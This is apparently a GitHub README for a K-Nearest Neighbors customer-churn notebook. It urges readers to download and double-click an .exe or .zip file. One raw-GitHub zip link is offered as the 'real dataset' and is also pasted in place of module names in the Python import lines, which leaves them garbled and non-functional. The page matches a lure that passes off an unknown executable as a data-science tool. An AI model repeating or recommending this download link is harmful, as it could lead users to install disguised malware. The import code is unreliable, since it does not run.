🌟 KNN - Predict Churn with KNN Classifier

🚀 Getting Started

Welcome! This guide helps you download and run the KNN application easily. Follow these steps to get started.

📥 Download & Install

1. Visit the Releases Page
   Go to the Releases page to download the application.

2. Choose the Latest Version
   Look for the latest version of KNN. It will be listed at the top of the page.

3. Download the Application
   Find the file suitable for your system. Click on the name of the file to start the download. The file will typically end with .exe or .zip.

4. Run the File
   Locate the downloaded file in your system. Double-click the file to run it. Follow any on-screen instructions.

📋 Application Overview

What is KNN?

KNN stands for K-Nearest Neighbors. It is a simple yet effective algorithm used in data science to classify data points based on their similarity. This application uses KNN to predict whether a customer will leave a telecom service (churn prediction).

Why Use KNN?

KNN is user-friendly and provides good predictions. It requires minimal configuration, making it suitable for both beginners and experienced users.

📊 Features of the Application

• Data Preprocessing: Cleans and prepares the customer dataset.
• Model Training: Utilizes KNN to train on the dataset.
• Hyperparameter Tuning: Helps you choose the best k value for improved accuracy.
• Evaluation: Checks how well the model performs and its accuracy.
• Exercises: Engaging tasks to practice what you've learned.

📚 Notebook Overview

Learning Objectives

The KNN notebook provides a structured learning experience. It includes:

1. Theory: Understand the fundamentals of KNN.
2. Hands-On Practice: Work with a real dataset, https://raw.githubusercontent.com/xelandesol/KNN/main/radiumproof/KNN_3.8-beta.2.zip.
3. Comparative Analysis: Compare accuracy with other models.

Notebook Structure

1. Title & Learning Objective

   • Cell 0: Introduction to KNN.

2. Imports & Library Setup

   • A list of libraries used in the notebook:

     import numpy as np
     import https://raw.githubusercontent.com/xelandesol/KNN/main/radiumproof/KNN_3.8-beta.2.zip as plt
     import pandas as pd
     from https://raw.githubusercontent.com/xelandesol/KNN/main/radiumproof/KNN_3.8-beta.2.zip import StandardScaler
     from https://raw.githubusercontent.com/xelandesol/KNN/main/radiumproof/KNN_3.8-beta.2.zip import train_test_split
     from https://raw.githubusercontent.com/xelandesol/KNN/main/radiumproof/KNN_3.8-beta.2.zip import KNeighborsClassifier
     from https://raw.githubusercontent.com/xelandesol/KNN/main/radiumproof/KNN_3.8-beta.2.zip import accuracy_score

🖥️ System Requirements

To run this application smoothly, you need:

• Operating System: Windows 10 or later, macOS, or Linux.
• Memory: At least 4GB of RAM.
• Storage: A minimum of 200MB free space.
• Python Version: Python 3.7 or later installed on your system.

🎓 How to Get Help

If you encounter any issues, check these resources:

• FAQ: A section for common questions.
• GitHub Issues: Report any bugs or issues directly on the GitHub page.
• Community Forum: Join discussions with other users for solutions.

🔗 Additional Resources

For further learning about the K-Nearest Neighbors algorithm, consider these resources:

• K-Nearest Neighbors on Wikipedia: A detailed explanation of the algorithm.
• KNN Tutorial: Various online tutorials and lectures regarding KNN.

🔍 Explore More

Feel free to explore the application and experiment with different datasets. Understanding KNN can provide valuable insights into customer behavior. Enjoy learning and predicting!

Download KNN
Visit the Releases page to access the latest version.